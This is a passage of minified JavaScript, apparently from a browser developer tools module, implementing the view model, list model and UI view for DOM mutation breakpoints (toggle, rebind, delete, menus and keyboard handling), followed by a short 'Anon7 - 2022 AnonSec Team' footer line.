0}setBound(e,t,i){this.breakpointId=e;this.elementUniqueId=t;this.localizedTooltip=this.documentUrl;this.state=i?"enabled":"disabled";this.pendingId=void 0;this.bindingFailedReason=void 0}get isPending(){return!!this.pendingId}setTypes(t){this._types=t.map(t=>e.DmbpTypeViewModel.fromDmbpType(t))}get types(){return this._types}get isChecked(){return"enabled"===this.state}}s.VIEWMODEL_ID=1;e.BreakpointViewModel=s}(e.DomMutationBreakpoints||(e.DomMutationBreakpoints={}))}(F12||(F12={}));!function(e){!function(e){"use strict";class t extends Common.ModelView.ListModel{constructor(t,i){super();this._manager=t;this._analytics=i;this._isVisible=!1;this._manager.addEventListener("domMutationBreakpointSet",t=>{let i=this.findBPVMByBreakpointId(t.breakpointId);if(i)i.setBound(t.breakpointId,t.elementUniqueId,t.isEnabled);else if(i=this.findBreakpointWhere(e=>e.pendingId===t.pendingBreakpointId))i.setBound(t.breakpointId,t.elementUniqueId,t.isEnabled);else{(i=new e.BreakpointViewModel(t.selector,t.types.map(t=>e.DmbpTypeViewModel.fromDmbpType(t)),t.documentUrl)).setBound(t.breakpointId,t.elementUniqueId,t.isEnabled);this.cache.push(i)}i.setTypes(t.types);this.fireModelUpdate()});this._manager.addEventListener("domMutationBreakpointUnbound",e=>{let t=this.findIndexWhere(t=>t.breakpointId===e.breakpointId);t>-1&&this.cache.splice(t,1);this.fireModelUpdate()});this._manager.addEventListener("domMutationBreakpointEnabledChanged",e=>{var t=this.findBPVMByBreakpointId(e.breakpointId);t&&(t.state=e.isEnabled?"enabled":"disabled");this.fireModelUpdate()});this._manager.addEventListener("domMutationBreakpointPageChanged",e=>{if(e.isTopLevelDocument)this.cache.splice(0,this.cache.length);else for(let t=0;t<this.cache.length;){this.cache[t].documentUrl===e.oldDocumentUrl?this.cache.splice(t,1):t++}this.fireModelUpdate()});this._manager.addEventListener("domMutationBreakpointBindingFailed",e=>{let t=this.findBreakpointWhere(t=>t.pendingId===e.pendingBreakpointId);if(t){t.setFailed(e.pendingBreakpointId,e.reason);this.fireModelUpdate()}});this._manager.addEventListener("domMutationBreakpointPendingRegistration",t=>{t.breakpoints.forEach(t=>{let i=new e.BreakpointViewModel(t.selector,t.types.map(t=>e.DmbpTypeViewModel.fromDmbpType(t)),t.documentUrl);i.setFailed(t.pendingId,"unknown");this.cache.push(i)});this.fireModelUpdate()});this._manager.addEventListener("domMutationBreakpointBindingMetrics",e=>{this._analytics.log(Common.TelemetryEventName.DMBP_BINDING_METRICS,e)});this._manager.addEventListener("domMutationPendingBreakpointRemoved",e=>{let t=this.findIndexWhere(t=>t.pendingId===e);if(t>-1){this.cache.splice(t,1);this.fireModelUpdate()}});this._manager.addEventListener("caughtUp",()=>{const t=[];for(const i of this._manager.getBreakpoints()){const s=new e.BreakpointViewModel(i.selector,i.types.map(t=>e.DmbpTypeViewModel.fromDmbpType(t)),i.documentUrl);s.setBound(i.breakpointId,i.elementUniqueId,i.isEnabled);t.push(s)}for(const i of this._manager.getPendingBreakpoints())t.push(e.BreakpointViewModel.createPendingBreakpoint(i.selector,i.types.map(t=>e.DmbpTypeViewModel.fromDmbpType(t)),i.documentUrl,i.pendingId));this.cache=t});this._modelListeners=[]}get isVisible(){return this._isVisible}set isVisible(e){this._isVisible=e}setExpansionState(e,t){let i=this.findBPVMByViewModelId(e);if(i&&i.expanded!==t){i.expanded=t;this.fireModelUpdate()}}isExpanded(e){return this.findBPVMByViewModelId(e).expanded}findBPVMByBreakpointId(e){let t=null;this.cache.some(i=>{if(i.breakpointId===e){t=i;return!0}return!1});return t}findBPVMByViewModelId(e){let t=null;this.cache.some(i=>{if(i.id===e){t=i;return!0}return!1});return t}findBreakpointWhere(e){let t=null;this.cache.some(i=>{if(e(i)){t=i;return!0}return!1});return t}findIndexWhere(e){let t=-1;this.cache.some((i,s)=>{if(e(i)){t=s;return!0}return!1});return t}findBindFailedBreakpoints(){return this.cache.filter(e=>e.isPending)}addEventListener(e,t){this._modelListeners.push(t)}removeEventListener(e,t){const i=this._modelListeners.indexOf(t);i>-1&&this._modelListeners.splice(i,1)}fireModelUpdate(){for(const e of this._modelListeners)e()}load(e){setImmediate(e)}canRebindAll(){return this.cache.some(e=>e.isPending)}rebindAll(){this._analytics.logExecuteCommand(Common.Telemetry.CommandName.DMBP_MANUAL_REBIND_ALL,Common.TriggerType.Ui);this.cache.filter(e=>e.isPending).forEach(e=>{this._manager.attemptRebind(e.pendingId)})}canDeleteAll(){return this.cache.length>0}deleteAll(){let e=[];this.cache.forEach(t=>{t.isPending?e.push(this._manager.deletePendingBreakpoint(t.pendingId)):e.push(this._manager.removeDomMutationBreakpoint(t.breakpointId))});return Promise.all(e).then(()=>void 0)}canToggleAll(){return this.cache.some(e=>!e.isPending)}toggleAll(){let e=this.getToggleAllType();this.cache.filter(e=>!e.isPending).forEach(t=>{this._manager.setDomMutationBreakpointEnabledState(t.breakpointId,e)})}getToggleAllType(){return!this.cache.filter(e=>!e.isPending).every(e=>!!e.isPending||"enabled"===e.state)}}e.DmbpListViewModel=t}(e.DomMutationBreakpoints||(e.DomMutationBreakpoints={}))}(F12||(F12={}));!function(e){!function(e){"use strict";var t=Common.ModelView.ExpandingListView;const i=(e,t)=>Common.ToolWindowHelpers.loadString(e,t);class s extends t{constructor(e,t,i,n,o){super(t,i,n,o,null,(e,t)=>o.setExpansionState(parseInt(e,10),t),[],null,"id",null,null,null);this.dmbpManager=e;this.dmbpModel=o;this._listElement=this.htmlElementSource.getElementById(this.listViewDivId);this.menuItems=[{name:"breakOnSubtreeModified",textIdentifier:"menuTextBreakOnSubtreeModified",isChecked:e=>this.checkBreakpointHasType(e,"subtree-modified"),execute:e=>this.onToggleBreakpointType(e,"subtree-modified"),isDisabled:e=>{return this.findViewModelForElement(e).isPending}},{name:"breakOnAttrModified",textIdentifier:"menuTextBreakOnAttrModified",isChecked:e=>this.checkBreakpointHasType(e,"attribute-modified"),execute:e=>this.onToggleBreakpointType(e,"attribute-modified"),isDisabled:e=>{return this.findViewModelForElement(e).isPending}},{name:"breakOnNodeRemoved",textIdentifier:"menuTextBreakOnNodeRemoved",isChecked:e=>this.checkBreakpointHasType(e,"node-removed"),execute:e=>this.onToggleBreakpointType(e,"node-removed"),isDisabled:e=>{let t=this.findViewModelForElement(e);return t.isPending||"html"===t.selector}},{name:"separator",isSeparator:!0,execute:e=>{}},{name:"enableDisableDmbp",textIdentifier:e=>{let t=this.findViewModelForElement(e);return t?t.isPending?s.MENU_ENABLE:"enabled"===t.state?s.MENU_DISABLE:s.MENU_ENABLE:s.MENU_ENABLE},textIdentifierFallback:s.MENU_ENABLE,execute:e=>this.onToggleEnabled(e)},{name:"deleteDmbp",textIdentifier:"menuTextDeleteDmbp",execute:e=>this.onDeleteBreakpoint(e)},{name:"rebindDmbp",textIdentifier:"menuTextRebindDmbp",execute:e=>this.onRebindBreakpoint(e),isDisabled:e=>{let t=this.findViewModelForElement(e);return!!t&&!t.isPending}}];this.dmbpModel.addEventListener("modelChanged",e=>{this.model.length>0&&this.activateTab();this.updateView();this.updateButtonState()});this.addClickHandlerThatNavigatesToBoundElement();this.addClickHandlerForInlineActions();this.bindToolbarEvents();this.updateView()}postItemViewProcessing(e,t){let s=t.querySelectorAll(".BPT-ActionIcon");for(let e=0;e<s.length;e++){let t=s[e];t.dataset.tooltipId&&(t.dataset.pluginVsTooltip=i(t.dataset.tooltipId))}if(e===this.enableToggleRefocusIndex){this.setFocus(t);this.enableToggleRefocusIndex=void 0}}findHeaderOrChild(e){for(;e.parentElement&&!(e.classList.contains(t.HEADER_CLASS)||e.classList.contains(t.CHILD_VALUE_CONTAINER_CLASS)||e.classList.contains(s.SUBSECTION_HEADER_CLASS));)e=e.parentElement;return e}bindToolbarEvents(){let e=this.htmlElementSource.querySelector(s.TOOLBAR_ELEMENT_SELECTOR);this.rebindAllButton=e.querySelector(s.REBIND_ALL_SELECTOR);this.rebindAllButton.addEventListener("click",e=>{this.dmbpModel.canRebindAll()&&this.dmbpModel.rebindAll()});this.rebindAllButton.addEventListener("keyup",e=>{e.keyCode!==Common.KeyCodes.Space&&e.keyCode!==Common.KeyCodes.Enter||this.dmbpModel.canRebindAll()&&this.dmbpModel.rebindAll()});this.setToolbarButtonText(this.rebindAllButton,i("tooltipTextRebindAllDmbp"));this.toggleAllButton=e.querySelector(s.TOGGLE_ENABLE_ALL_SELECTOR);this.toggleAllButton.addEventListener("click",e=>{this.dmbpModel.canToggleAll()&&this.dmbpModel.toggleAll()});this.toggleAllButton.addEventListener("keyup",e=>{e.keyCode!==Common.KeyCodes.Space&&e.keyCode!==Common.KeyCodes.Enter||this.dmbpModel.canToggleAll()&&this.dmbpModel.toggleAll()});this.setToolbarButtonText(this.toggleAllButton,i(s.TEXT_DISABLEALL_DMBP));this.deleteAllButton=e.querySelector(s.DELETE_ALL_SELECTOR);this.deleteAllButton.addEventListener("click",e=>{this.dmbpModel.canDeleteAll()&&this.dmbpModel.deleteAll()});this.deleteAllButton.addEventListener("keyup",e=>{e.keyCode!==Common.KeyCodes.Space&&e.keyCode!==Common.KeyCodes.Enter||this.dmbpModel.canDeleteAll()&&this.dmbpModel.deleteAll()});this.setToolbarButtonText(this.deleteAllButton,i("tooltipTextDeleteAllDmbp"))}setToolbarButtonText(e,t){e.dataset.pluginVsTooltip=t;let i=e.querySelector(`.${s.ACTIONICON_CLASS}`);i&&(i.textContent=t)}findListItemElement(e){for(let t=e;t;t=t.parentElement)if(t.classList.contains(s.LIST_ITEM_CLASS))return t;return null}updateButtonState(){let e=this.dmbpModel.canRebindAll();this.rebindAllButton.dataset.enabled=String(e);this.rebindAllButton.setAttribute("aria-disabled",String(!e));let t=this.dmbpModel.canToggleAll();this.toggleAllButton.dataset.enabled=String(t);this.toggleAllButton.setAttribute("aria-disabled",String(!t));let n=this.dmbpModel.canDeleteAll();this.deleteAllButton.dataset.enabled=String(n);this.deleteAllButton.setAttribute("aria-disabled",String(!n));this.dmbpModel.getToggleAllType()?this.setToolbarButtonText(this.toggleAllButton,i(s.TEXT_ENABLEALL_DMBP)):this.setToolbarButtonText(this.toggleAllButton,i(s.TEXT_DISABLEALL_DMBP))}findViewModelForElement(e){let t=this.findListItemElement(e);if(!t)return null;let i=parseInt(t.dataset.id,10);return this.dmbpModel.findBPVMByViewModelId(i)}getMenuConfig(){return this}canToggleEnabled(e){let t=this.findViewModelForElement(e);return!!t&&!t.isPending}onToggleEnabled(e){let t=this.findViewModelForElement(e);t&&(t.isPending?this.dmbpManager.attemptRebind(t.pendingId):this.dmbpManager.setDomMutationBreakpointEnabledState(t.breakpointId,"enabled"!==t.state))}canRebind(e){let t=this.findViewModelForElement(e);return!!t&&t.isPending}onRebindBreakpoint(e){let t=this.findViewModelForElement(e);t&&t.isPending&&this.dmbpManager.attemptRebind(t.pendingId)}onDeleteBreakpoint(e){let t=this.findViewModelForElement(e);t&&(t.isPending?this.dmbpManager.deletePendingBreakpoint(t.pendingId):this.dmbpManager.removeDomMutationBreakpoint(t.breakpointId))}onToggleBreakpointType(e,t){let i=this.findViewModelForElement(e);i&&(i.isPending?this.dmbpManager.attemptRebind(i.pendingId):this.dmbpManager.toggleBreakpointForElement(i.elementUniqueId,t))}checkBreakpointHasType(t,i){let s=this.findViewModelForElement(t);if(!s)return!1;let n=e.DmbpTypeViewModel.fromDmbpType(i);return s.types.indexOf(n)>-1}addClickHandlerThatNavigatesToBoundElement(){this.addHandler(this.listRoot,"click",[s.SELECTOR_CLASS],e=>{let t=this.findViewModelForElement(e.srcElement);"unbound"!==t.state&&this.navigateToElementByUid(t.elementUniqueId)})}addClickHandlerForInlineActions(){this.addHandler(this.listRoot,"click",[s.ACTIONICON_CLASS],e=>{switch(e.srcElement.parentElement.classList.item(0)){case s.REBIND_ELEMENT_CLASS:this.onRebindBreakpoint(e.srcElement);break;case s.DELETE_ELEMENT_CLASS:this.onDeleteBreakpoint(e.srcElement)}});this.addHandler(this.listRoot,"click",[s.ENABLEMENT_TOGGLE_CLASS],e=>{this.onToggleEnabled(e.srcElement)});this.addHandler(this.listRoot,"keyup",[s.LIST_ITEM_CLASS],e=>{let t=this.findListItemElement(e.srcElement);if(!t)return;let i=!1;if(e.keyCode===Common.KeyCodes.Delete){this.onDeleteBreakpoint(t);i=!0}else if(e.keyCode===Common.KeyCodes.Space){this.canToggleEnabled(t)&&this.onToggleEnabled(t);i=!0;let e=this.getSelectedItemIndex();this.enableToggleRefocusIndex=e}if(i){e.preventDefault();e.stopImmediatePropagation()}})}findFocusableUp(e){return e&&(e.classList.contains(s.LIST_ITEM_CLASS)||(e=this.findDmbpListItemFromElement(e)))?e.previousElementSibling:null}findFocusableDown(e){return e&&(e.classList.contains(s.LIST_ITEM_CLASS)||(e=this.findDmbpListItemFromElement(e)))?e.nextElementSibling:null}setFocus(e){e=this.findDmbpListItemFromElement(e);let t=this._listElement.querySelectorAll(`.${s.LIST_ITEM_CLASS}`);for(let i=0;i<t.length;i++){let n=t.item(i);n===e?n.classList.add(s.SELECTED_ITEM_CLASS):n.classList.remove(s.SELECTED_ITEM_CLASS)}super.setFocus(e)}findDmbpListItemFromElement(e){const t=s.LIST_ITEM_CLASS;if(e.classList.contains(t))return e;let i=e.querySelector(`.${t}`);if(i)return i;for(;e;)if((e=e.parentElement).classList.contains(t))return e;return null}getSelectedItemIndex(){const e=s.LIST_ITEM_CLASS;let t=this._listElement.querySelector(`.${e}`);if(!t)return-1;let i=0;for(;null!=t;){if(t.classList.contains(s.SELECTED_ITEM_CLASS))return i;t=t.nextElementSibling;i++}return-1}selectItemByIndex(e){const t=s.LIST_ITEM_CLASS;let i=this._listElement.querySelector(`.${t}`),n=0;for(;null!=i;){if(n===e){this.setFocus(i);break}i=i.nextElementSibling;n++}}}s.LIST_ITEM_CLASS="BPT-DMBP-ListItem";s.SELECTOR_CLASS="BPT-Dmbp-Selector";s.SELECTED_ITEM_CLASS="BPT-DMBP-Selected";s.REBIND_ALL_SELECTOR=".BPT-Icon-DMBP-RebindAll";s.TOGGLE_ENABLE_ALL_SELECTOR=".BPT-Icon-DMBP-ToggleEnableAll";s.DELETE_ALL_SELECTOR=".BPT-Icon-DMBP-DeleteAll";s.REBIND_ELEMENT_CLASS="BPT-Icon-DMBP-Rebind";s.DELETE_ELEMENT_CLASS="BPT-Icon-DMBP-Delete";s.ACTIONICON_CLASS="BPT-ActionIcon";s.ENABLEMENT_TOGGLE_CLASS="BPT-DMBP-EnablementToggle";s.TOOLBAR_ELEMENT_SELECTOR="#dmbpToolbar";s.SUBSECTION_HEADER_CLASS="BPT-ExpandingList-Collapsed-Section";s.MENU_ENABLE="menuTextEnableDmbp";s.MENU_DISABLE="menuTextDisableDmbp";s.TEXT_ENABLEALL_DMBP="tooltipTextEnableAllDmbp";s.TEXT_DISABLEALL_DMBP="tooltipTextDisableAllDmbp";e.DmbpViewBase=s}(e.DomMutationBreakpoints||(e.DomMutationBreakpoints={}))}(F12||(F12={}));

Anon7 - 2022
AnonSec Team